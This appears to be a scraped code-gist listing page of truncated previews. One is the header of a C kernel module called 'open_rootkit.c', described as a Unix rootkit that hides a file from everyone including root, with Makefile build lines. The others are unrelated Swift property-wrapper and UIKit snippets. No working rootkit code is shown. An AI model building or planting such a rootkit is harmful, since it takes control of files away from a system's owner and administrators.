This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* open_rootkit.c - Thomas Moussajee | |
* C Unix Rootkit open | |
* Make a file forbiden for everyone include root with permission | |
* HOW TO COMPILE : create a Makefile, make | |
* exemple of Makeflle : | |
+ KERNELDIR ?= /lib/modules/$(shell uname -r)/build | |
+ PWD := $(shell pwd) | |
+ NAME = rootkit.ko | |
+ all: $(NAME) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@propertyWrapper | |
struct WeakReference<T> { | |
private weak var storage: AnyObject? = nil | |
private var value: T?{ | |
get { return storage.map { $0 as! T } } | |
set { | |
storage = newValue.map { | |
let asObject = $0 as AnyObject | |
assert(asObject === $0 as AnyObject) | |
return asObject |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@propertyWrapper | |
public struct Weak<Wrapped: AnyObject> { | |
private weak var value: AnyObject? | |
public init(_ value: Wrapped? = nil) { | |
self.value = value | |
} | |
public var wrappedValue: Wrapped? { | |
get { value as? Wrapped } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@propertyWrapper | |
public struct Weak<Wrapped: AnyObject> { | |
private weak var value: AnyObject? | |
public init(_ value: Wrapped? = nil) { | |
self.value = value | |
} | |
public var wrappedValue: Wrapped? { | |
get { value as? Wrapped } |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extension Weak: Hashable { | |
public static func == (lhs: Weak<Wrapped>, rhs: Weak<Wrapped>) -> Bool { | |
lhs.hashValue == rhs.hashValue | |
} | |
public func hash(into hasher: inout Hasher) { | |
hasher.combine(unsafeBitCast(value, to: Int.self)) | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
private struct PropertyData { | |
static private let accessQueue = DispatchQueue(label: "SynchronizedPropertyDataAccess", attributes: .concurrent) | |
static private var property = [Weak<AnyObject>: [Any]]() | |
static func memoryClean() { | |
Self.accessQueue.async(flags: .barrier) { | |
property = property.filter({$0.key.wrappedValue != nil}) | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@propertyWrapper | |
public class Property<T: Any> { | |
public var wrappedValue: T? { | |
get { PropertyData.get(key) ?? nil } | |
set { PropertyData.set(key, value: newValue as Any) } | |
} | |
let key: Weak<AnyObject> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import UIKit | |
public enum Style { | |
case dark | |
case light | |
case `default` | |
} | |
protocol Coolable { | |
var isCool: Bool { get set } |